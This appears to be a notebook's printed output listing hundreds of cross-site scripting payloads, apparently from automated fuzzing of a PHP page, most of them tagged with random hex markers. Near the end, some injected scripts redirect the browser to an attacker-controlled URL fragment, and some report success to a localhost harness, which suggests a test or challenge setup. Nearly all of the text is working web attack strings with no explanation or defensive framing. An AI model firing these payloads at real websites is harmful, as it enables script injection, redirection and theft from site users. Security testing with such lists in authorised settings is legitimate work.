      "<IMG\n",
      "<IMG\n",
      "<<SCRIPT>9a7468753d98cf64326bcbbf61671a8f//<</SCRIPT>\n",
      "<DIV\n",
      "\\\";f5d6fd499bfd178d3c1660dfcb94693b//\n",
      "<IMG\n",
      "<BODY\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "<BR\n",
      "<BGSOUND\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<IMG\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<TABLE\n",
      "<DIV\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe///////onload=08ff3667176c2e28b73c5668e3f5c969></iframe>\n",
      "<iframe\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<63d43497353f66ec639921bf932a61d3\n",
      "<STYLE\n",
      "<STYLE>.3b54093431af252d7d68fd99192572aa{background-image:url(\\\"3b54093431af252d7d68fd99192572aa\\\");}</STYLE><A\n",
      "<IMG\n",
      "<STYLE\n",
      "<!--[if\n",
      "<BASE\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"0681495af10efc48ac42b03994c3d603\\\")\\\";eval(a+b+c+d);\n",
      "<OBJECT\n",
      "<?\n",
      "<META\n",
      "<SCRIPT\n",
      "<IMG\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/a176e9f4fe5df410241d3eced4f99fa2/alert(a.source)</SCRIPT>\n",
      "<META\n",
      "---\n",
      "<SCRIPT\n",
      "<SCRIPT>a=/1607d879c5ba44e2821f1b8068538259/n1607d879c5ba44e2821f1b8068538259</SCRIPT>\n",
      "<IFRAME\n",
      "<STYLE>li\n",
      "<LAYER\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<a\n",
      "<input\n",
      "<IMG\n",
      "&3bcbe810dbe2ae8b090647100fef733f\\\">\n",
      "&{62ea8df9d4deae023e1b5f9b27681c4d};\n",
      "<a\n",
      "<DIV\n",
      "<OBJECT\n",
      "![CDATA[<!--]]<SCRIPT>509292ca33015d04e6979412f9c93ec3//--></SCRIPT>\n",
      "<style><!--</style><SCRIPT>200ea076f1823548902e2a65568e5321//--></SCRIPT>\n",
      "<xml\n",
      "<!--\n",
      "<div\n",
      "<form\n",
      "<XML\n",
      "<select\n",
      "<input\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<body\n",
      "<video\n",
      "X<form\n",
      "<video><source\n",
      "X<form\n",
      "<video\n",
      "\\\">1d7d29e97622b77c38a2a128752917e1\n",
      "\\\"><SCRIPT>alert('0ee37744c3c57119325e207bacc5f325')</SCRIPT>\n",
      "\\\"><img\n",
      "</TITLE>0c974057d00d4c681ad29b019024cb5d\n",
      "'';!--\\\"<d9de96133b4b30f02b3659ee8e29b778>=&{()}\\\"\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "'';!--\\\"<b194c367af2395b0134a9fdfa1880b3d>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<<SCRIPT>4061f7e44b9cb7f1f50caf8004967a34//<</SCRIPT>\n",
      "<DIV\n",
      "\\\";9d2ead346d482482aaaaa0eff78279e8//\n",
      "<IMG\n",
      "<BODY\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<IMG\n",
      "<BR\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<IFRAME\n",
      "<DIV\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe///////onload=676ae473372f849113440162d5e1d779></iframe>\n",
      "<iframe\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE><TD\n",
      "<TABLE\n",
      "<IMG\n",
      "<DIV\n",
      "<DIV\n",
      "<STYLE\n",
      "<ef4dc3f42b24cf776b055e2298d9abea\n",
      "<STYLE>.cb9ffb1f58c86ccd52162d13d4bcd17b{background-image:url(\\\"cb9ffb1f58c86ccd52162d13d4bcd17b\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<OBJECT\n",
      "<BASE\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"ac128553e2bf9d8765264763d132fc59\\\")\\\";eval(a+b+c+d);\n",
      "<META\n",
      "<?\n",
      "<SCRIPT\n",
      "<IMG\n",
      "---\n",
      "<IMG\n",
      "---\n",
      "<SCRIPT>a=/e6b7fd65c01c1a1b8a4117d99bf4701a/alert(a.source)</SCRIPT>\n",
      "---\n",
      "<SCRIPT\n",
      "<META\n",
      "<IFRAME\n",
      "<LAYER\n",
      "<SCRIPT>a=/c99cdbf0684d6b09fee0a0aa5377be1a/nc99cdbf0684d6b09fee0a0aa5377be1a</SCRIPT>\n",
      "<DIV\n",
      "<STYLE>li\n",
      "<HEAD><META\n",
      "<input\n",
      "<a\n",
      "&8d24e9003c196090a18a34e638038fbf\\\">\n",
      "<IMG\n",
      "&{fe0eb6d735b67bd14f8f6c51e54da15b};\n",
      "<DIV\n",
      "<a\n",
      "<OBJECT\n",
      "<style><!--</style><SCRIPT>2cd380a4d2e0cacf7267454940f3807b//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>83a61018abb0a75c32b0636b2e0c4112//--></SCRIPT>\n",
      "<xml\n",
      "<!--\n",
      "<div\n",
      "<XML\n",
      "<form\n",
      "<select\n",
      "<input\n",
      "<textarea\n",
      "<input\n",
      "<keygen\n",
      "<body\n",
      "<video\n",
      "X<form\n",
      "<video><source\n",
      "X<form\n",
      "<video\n",
      "\\\">c31dbaa582acd4895e0924ad1a849fcc\n",
      "</TITLE>f0f9c10acceae38599bd4116bd0bf92e\n",
      "\\\"><img\n",
      "\\\"><SCRIPT>alert('b129646565bf9a7cace0b2de5542f5df')</SCRIPT>\n",
      "'';!--\\\"<1a77ab81b8ca846043b36266127ca26c>=&{()}\\\"\n",
      "<BODY\n",
      "<IMG\n",
      "'';!--\\\"<6c2ade165492acedb2003c0935a0e0b1>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<IMG\n",
      "\\\";ba382434ef8f1b8c1fc493e8ffcdf4e6//\n",
      "<<SCRIPT>17ccf2fddeb133d98492f58d64d0e3a3//<</SCRIPT>\n",
      "<BODY\n",
      "<INPUT\n",
      "<IMG\n",
      "<IMG\n",
      "<BODY\n",
      "<BGSOUND\n",
      "<IMG\n",
      "<BR\n",
      "<IMG\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<TABLE\n",
      "<TABLE\n",
      "<META\n",
      "<DIV\n",
      "<TABLE><TD\n",
      "<IFRAME\n",
      "<DIV\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe\n",
      "<iframe/\n",
      "<iframe///////onload=d09325511c7e6fc70856e5c552271fac></iframe>\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<0f17578f01c19885bbe04d3b0aee8ee7\n",
      "<DIV\n",
      "<IMG\n",
      "<STYLE\n",
      "<STYLE>.80f8f59ccbfae1cf5df197852f04d09e{background-image:url(\\\"80f8f59ccbfae1cf5df197852f04d09e\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<OBJECT\n",
      "<BASE\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"896bfab93db2f5e881110ca377e07e0b\\\")\\\";eval(a+b+c+d);\n",
      "<?\n",
      "<META\n",
      "<IMG\n",
      "<SCRIPT\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/d31f2d4ec8f8c49412a8bebe54b36a45/alert(a.source)</SCRIPT>\n",
      "---\n",
      "<META\n",
      "<IFRAME\n",
      "<SCRIPT\n",
      "<LAYER\n",
      "<SCRIPT>a=/df253382abea5053b44c805535498c4a/ndf253382abea5053b44c805535498c4a</SCRIPT>\n",
      "<STYLE>li\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<input\n",
      "<a\n",
      "<IMG\n",
      "&{4a7cbd6e9a2bbb2359804dfda1ea5eb6};\n",
      "&4e7de3a11a682ca0c373fe557fcd5c20\\\">\n",
      "<a\n",
      "<DIV\n",
      "<OBJECT\n",
      "<style><!--</style><SCRIPT>001e3230ea192178004837617d5679de//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>578f6d30ce31453b251763ed7e2967d5//--></SCRIPT>\n",
      "<!--\n",
      "<xml\n",
      "<XML\n",
      "<div\n",
      "<form\n",
      "<input\n",
      "<select\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "\\\">3430c7a65ca94eb105d32239ba238a5f\n",
      "\\\"><SCRIPT>alert('8e2e0b701829d259b8ed85294f976d38')</SCRIPT>\n",
      "'';!--\\\"<1eb8cc3cc12e169b7722c297348d1dac>=&{()}\\\"\n",
      "</TITLE>dc186748ccb8449d9502ca258878d3b3\n",
      "\\\"><img\n",
      "<BODY\n",
      "'';!--\\\"<1e195fe954da448770c7fa522e2389b1>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<<SCRIPT>9e6ac05258d072ede1ce035e89535493//<</SCRIPT>\n",
      "<DIV\n",
      "\\\";d0b342996a8b68394bef4443faecb044//\n",
      "<IMG\n",
      "<BODY\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "<BR\n",
      "<BGSOUND\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe\n",
      "<iframe///////onload=3e112321b751ba5a2eabc76df7a1a71a></iframe>\n",
      "<iframe<?php\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<TABLE\n",
      "<FRAMESET><FRAME\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IMG\n",
      "<0218b0d53a2eaa99e8d013f97b714ac4\n",
      "<STYLE\n",
      "<STYLE\n",
      "<STYLE>.b1ed2ae6df92201d1dcd64bb08161e36{background-image:url(\\\"b1ed2ae6df92201d1dcd64bb08161e36\\\");}</STYLE><A\n",
      "<!--[if\n",
      "<OBJECT\n",
      "<BASE\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"4ffab2ce5394078b1efae291b5f80a92\\\")\\\";eval(a+b+c+d);\n",
      "<?\n",
      "<META\n",
      "<SCRIPT\n",
      "<IMG\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/8d2e34a53ff6319968e1dd2854726153/alert(a.source)</SCRIPT>\n",
      "<META\n",
      "<SCRIPT\n",
      "<SCRIPT>a=/595ef28b1d1e0ab855fabadcb49c873f/n595ef28b1d1e0ab855fabadcb49c873f</SCRIPT>\n",
      "<IFRAME\n",
      "<STYLE>li\n",
      "<LAYER\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<a\n",
      "&{655df5ac4ed9a5d6fe2d8385f99b8291};\n",
      "&df5063276b21b6f6a2fec57582c149b8\\\">\n",
      "<input\n",
      "<a\n",
      "<IMG\n",
      "<OBJECT\n",
      "<DIV\n",
      "<style><!--</style><SCRIPT>fe27ae9d67b0a59306a4cba5edd34a9c//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>011310ee992dbe73b5b9daf3aa9c3e5a//--></SCRIPT>\n",
      "<!--\n",
      "<xml\n",
      "<div\n",
      "<XML\n",
      "<form\n",
      "<input\n",
      "<select\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<body\n",
      "<video\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "<script>alert(/xss/)</script>&user_token=32875b43a29398c3353aaffc83935b05\n",
      "dex.php\n",
      "\\\">b8b59ef7c119bed678ab0f0d943cc7b3\n",
      "\\\"><SCRIPT>alert('35e525fcc335cfdc5489bc3de20029ab')</SCRIPT>\n",
      "\\\"><img\n",
      "'';!--\\\"<3c39fe5f02c24194255c94c4411253c5>=&{()}\\\"\n",
      "<BODY\n",
      "</TITLE>2bec78119e253137bb6d03103b43b92a\n",
      "'';!--\\\"<3a20aba2b477e074f975e1395f5bf20c>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<<SCRIPT>697b5c70eb5e45a1aef192fc371040b7//<</SCRIPT>\n",
      "<IMG\n",
      "<BODY\n",
      "\\\";3ad3489d5027c977c869eac631c2077b//\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<LINK\n",
      "<IMG\n",
      "<BR\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe///////onload=913e72cb41b4e16b9319c7361b33c9aa></iframe>\n",
      "<iframe\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE><TD\n",
      "<TABLE\n",
      "<DIV\n",
      "<DIV\n",
      "<IMG\n",
      "<8ecbf7303c6f9141f8465f95e1b4bf17\n",
      "<STYLE\n",
      "<STYLE>.e1b14a2226b479b151253f4c353fd777{background-image:url(\\\"e1b14a2226b479b151253f4c353fd777\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<BASE\n",
      "<OBJECT\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"49137b43833ae4b34e80013dfd82f3ed\\\")\\\";eval(a+b+c+d);\n",
      "<?\n",
      "<META\n",
      "<SCRIPT\n",
      "<IMG\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/b2f01cfc57e21220d39b59402e55e4de/alert(a.source)</SCRIPT>\n",
      "---\n",
      "<META\n",
      "<IFRAME\n",
      "<SCRIPT\n",
      "<SCRIPT>a=/54a48d07d232d85604bf0ffcd7d48add/n54a48d07d232d85604bf0ffcd7d48add</SCRIPT>\n",
      "<LAYER\n",
      "<STYLE>li\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<a\n",
      "<input\n",
      "<IMG\n",
      "&8fe89f03327a55eb0c84dd80848b2205\\\">\n",
      "&{ffb6c232e652c6af912981649caec734};\n",
      "<a\n",
      "<DIV\n",
      "<OBJECT\n",
      "<style><!--</style><SCRIPT>31c1555516afa9b7f6f3e11c41455a2a//--></SCRIPT>\n",
      "<xml\n",
      "<!--\n",
      "![CDATA[<!--]]<SCRIPT>2f9bb4f8f0365bcac4d338fbccada6ea//--></SCRIPT>\n",
      "<div\n",
      "<input\n",
      "<form\n",
      "<XML\n",
      "<textarea\n",
      "<select\n",
      "<keygen\n",
      "<video\n",
      "<input\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video\n",
      "<video><source\n",
      "\\\">776a94b4d8aac60e17d9ac06a60bc8da\n",
      "<BODY\n",
      "\\\"><img\n",
      "</TITLE>e4d960e23e243ae97a5d75ff3197ad66\n",
      "'';!--\\\"<5f202d5b17991068bcb8922567e21761>=&{()}\\\"\n",
      "\\\"><SCRIPT>alert('87a462544424fd0805321ff09e899b01')</SCRIPT>\n",
      "<IMG\n",
      "<IMG\n",
      "'';!--\\\"<2d1317440d63db710e848faca11582e6>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<<SCRIPT>8cbed71303e75850ed4dfbb2769d7c01//<</SCRIPT>\n",
      "<DIV\n",
      "\\\";46ed98ed205f38e4594c8625c9e5444f//\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<BODY\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<IMG\n",
      "<LINK\n",
      "<BR\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe\n",
      "<iframe///////onload=bb424fbd02e5246566dcbb916c2d8d1a></iframe>\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE><TD\n",
      "<TABLE\n",
      "<DIV\n",
      "<DIV\n",
      "<IMG\n",
      "<aff25b88e609a0b53b0d4d871bdb15ad\n",
      "<STYLE\n",
      "<STYLE>.854f88a51fc87322fd10bb1ca747e75c{background-image:url(\\\"854f88a51fc87322fd10bb1ca747e75c\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<BASE\n",
      "<OBJECT\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"255c26db73453204fde935bcd9975f06\\\")\\\";eval(a+b+c+d);\n",
      "<?\n",
      "<META\n",
      "<SCRIPT\n",
      "<IMG\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "<META\n",
      "---\n",
      "<IFRAME\n",
      "<SCRIPT\n",
      "<SCRIPT>a=/53e336f1858e07c63a7bbc42ec087920/alert(a.source)</SCRIPT>\n",
      "<LAYER\n",
      "<SCRIPT>a=/ca2c3d1ddf21537c66007c7c72251fee/nca2c3d1ddf21537c66007c7c72251fee</SCRIPT>\n",
      "<DIV\n",
      "<STYLE>li\n",
      "<HEAD><META\n",
      "<a\n",
      "<input\n",
      "<a\n",
      "<IMG\n",
      "<DIV\n",
      "&{4c35fb399e6f07d781cfda9997756994};\n",
      "&cfc8574e13a58682f823dc312f275e63\\\">\n",
      "<OBJECT\n",
      "<!--\n",
      "![CDATA[<!--]]<SCRIPT>82137bd095445ebe8f38a632f225716e//--></SCRIPT>\n",
      "<xml\n",
      "<style><!--</style><SCRIPT>c908209b06ee2622fc0fa4ea1ac97aa0//--></SCRIPT>\n",
      "<div\n",
      "<XML\n",
      "<form\n",
      "<input\n",
      "<select\n",
      "<keygen\n",
      "<textarea\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "</TITLE>7884e90ba4b85466a36fb287769a09e2\n",
      "'';!--\\\"<39a96833d06fc8db8e3ea90b3dcc7abb>=&{()}\\\"\n",
      "\\\"><SCRIPT>alert('5569821369732f75ea8f7eb68acb4969')</SCRIPT>\n",
      "\\\"><img\n",
      "<BODY\n",
      "\\\">b71d7df49e047f7c1ad3e888e3cf0be5\n",
      "<IMG\n",
      "<IMG\n",
      "'';!--\\\"<07f214c5094f5d2886a3a26997d8e73e>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<<SCRIPT>599d1cec715b22352adce4fa7644fa04//<</SCRIPT>\n",
      "<IMG\n",
      "\\\";e17c13aaf562ebe0ecce569f033a9b87//\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "<BODY\n",
      "<BGSOUND\n",
      "<BR\n",
      "<IMG\n",
      "<LINK\n",
      "<IMG\n",
      "<META\n",
      "<IMG\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<iframe///////onload=2029d28b1bfa70752ab4f0435df0efc1></iframe>\n",
      "<TABLE\n",
      "<FRAMESET><FRAME\n",
      "<DIV\n",
      "<DIV\n",
      "<TABLE><TD\n",
      "<8077a4a7cea1e28047888be1a07f5773\n",
      "<IMG\n",
      "<STYLE\n",
      "<STYLE>.46be7038f321edef1b9a5c808e299440{background-image:url(\\\"46be7038f321edef1b9a5c808e299440\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<OBJECT\n",
      "<BASE\n",
      "<?\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"e7089b1387475ec1fd40828fa6159286\\\")\\\";eval(a+b+c+d);\n",
      "<META\n",
      "<IMG\n",
      "<SCRIPT\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "---\n",
      "<META\n",
      "<SCRIPT\n",
      "<IFRAME\n",
      "<SCRIPT>a=/ee087e871f576b6d974ceb2f98014f5b/alert(a.source)</SCRIPT>\n",
      "<STYLE>li\n",
      "<SCRIPT>a=/9ee448853412096d5374bc2ffae85fac/n9ee448853412096d5374bc2ffae85fac</SCRIPT>\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<LAYER\n",
      "<input\n",
      "<a\n",
      "<IMG\n",
      "&73f19f7c1cc6f343b7b2beb9afb952a8\\\">\n",
      "&{cb563e88067af770c7fead1c666939d1};\n",
      "<DIV\n",
      "<a\n",
      "<OBJECT\n",
      "<style><!--</style><SCRIPT>16d57a0f59161fcd6bb3c48869b5f0e7//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>8902e419d5e3438e7437a55869f55c81//--></SCRIPT>\n",
      "<!--\n",
      "<xml\n",
      "<div\n",
      "<XML\n",
      "<form\n",
      "<input\n",
      "<select\n",
      "<textarea\n",
      "<input\n",
      "<keygen\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "</TITLE>6492d4fc0ff3a6d6a33cf357b3c2897f\n",
      "\\\"><img\n",
      "'';!--\\\"<2bfbe1b62ed3d17a5cc972f3359273eb>=&{()}\\\"\n",
      "\\\"><SCRIPT>alert('72dc2889326731123db24a8d9e4b5eef')</SCRIPT>\n",
      "\\\">0240ac38b973697d74ca04201efa80bb\n",
      "<BODY\n",
      "'';!--\\\"<5218425d6ffc5d2f8c3171b2a58f8104>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<<SCRIPT>07d6042b4df94b4a84c41af8cc2178c1//<</SCRIPT>\n",
      "\\\";e5516837744966b275312cfafcd84227//\n",
      "<IMG\n",
      "<INPUT\n",
      "<BODY\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<BR\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe/\n",
      "<iframe///////onload=5aa1bc51d84c982a4898a677df9608a3></iframe>\n",
      "<iframe\n",
      "<iframe<?php\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IMG\n",
      "<97b28d9c9e1807734615ccca49167ae6\n",
      "<STYLE\n",
      "<STYLE\n",
      "<STYLE>.35b7ee84bcbb557aff58091fe3688619{background-image:url(\\\"35b7ee84bcbb557aff58091fe3688619\\\");}</STYLE><A\n",
      "<!--[if\n",
      "<OBJECT\n",
      "<BASE\n",
      "<?\n",
      "<SCRIPT\n",
      "<META\n",
      "<IMG\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"6a184570cd114129a2ef09c9e51e70b6\\\")\\\";eval(a+b+c+d);\n",
      "<IMG\n",
      "---\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/681daee8bc69b49d78a9bb38f3c9d80e/alert(a.source)</SCRIPT>\n",
      "<SCRIPT\n",
      "<META\n",
      "<IFRAME\n",
      "<LAYER\n",
      "<SCRIPT>a=/c0c0c7cd1a42f1a9fc14a09af6bcfc01/nc0c0c7cd1a42f1a9fc14a09af6bcfc01</SCRIPT>\n",
      "<DIV\n",
      "<STYLE>li\n",
      "<HEAD><META\n",
      "<a\n",
      "<input\n",
      "<a\n",
      "<IMG\n",
      "<DIV\n",
      "&{d372da5f282dc3225c3d4d75f1797070};\n",
      "&878c85b6a2e8e12ed2aa5d4921d3e791\\\">\n",
      "<!--\n",
      "<OBJECT\n",
      "<style><!--</style><SCRIPT>3afaf4ded922c81d7231b767789e53b2//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>6e1238634b61a8f9af0e7ce3f52bea13//--></SCRIPT>\n",
      "<xml\n",
      "<div\n",
      "<XML\n",
      "<form\n",
      "<select\n",
      "<input\n",
      "<keygen\n",
      "<textarea\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/72dc2889326731123db24a8d9e4b5eef')</SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/6a184570cd114129a2ef09c9e51e70b6\")\";eval(a+b+c+d);\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "'';!--\\\"<b7b3ce99e92da8cd91cc47e300f50be4>=&{()}\\\"\n",
      "\\\"><img\n",
      "\\\"><SCRIPT>alert('c6f7e510509a26f5095cc588107d6e59')</SCRIPT>\n",
      "<BODY\n",
      "</TITLE>e3fbdc6aed8afcda4b42ad6ac0a4a8b7\n",
      "<IMG\n",
      "'';!--\\\"<c99ec2514157018a9bc2365aac9b982c>=&{()}\\\"\n",
      "<IMG\n",
      "\\\">56713fdf6c58b3693f945911aa85786e\n",
      "<IMG\n",
      "<IMG\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<IMG\n",
      "<DIV\n",
      "<BODY\n",
      "<<SCRIPT>3e953c46516a30bb8f3069dbf82924e4//<</SCRIPT>\n",
      "\\\";1a381987c7b6a14decacc5817fd2ab8b//\n",
      "<IMG\n",
      "<INPUT\n",
      "<BODY\n",
      "<IMG\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<LINK\n",
      "<BR\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<iframe/\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe///////onload=d29f6930d770c1cea2dc81c2a409380b></iframe>\n",
      "<iframe\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<IMG\n",
      "<957bf3b1ce01dd6168e515d72166feba\n",
      "<STYLE\n",
      "<STYLE>.8a046c777fb2288cf6802c2449ec1900{background-image:url(\\\"8a046c777fb2288cf6802c2449ec1900\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<!--[if\n",
      "<BASE\n",
      "<OBJECT\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"1b79ff91cfc7df87b084f63db4224d0a\\\")\\\";eval(a+b+c+d);\n",
      "<META\n",
      "<?\n",
      "<IMG\n",
      "<IMG\n",
      "<SCRIPT\n",
      "---\n",
      "---\n",
      "<SCRIPT>a=/552c3dcedc9ec8fc52dbbca6eebf66a5/alert(a.source)</SCRIPT>\n",
      "<META\n",
      "---\n",
      "<IFRAME\n",
      "<SCRIPT\n",
      "<LAYER\n",
      "<SCRIPT>a=/e3c915cc10734b5ddabaa4f350d32793/ne3c915cc10734b5ddabaa4f350d32793</SCRIPT>\n",
      "<STYLE>li\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<a\n",
      "<input\n",
      "<DIV\n",
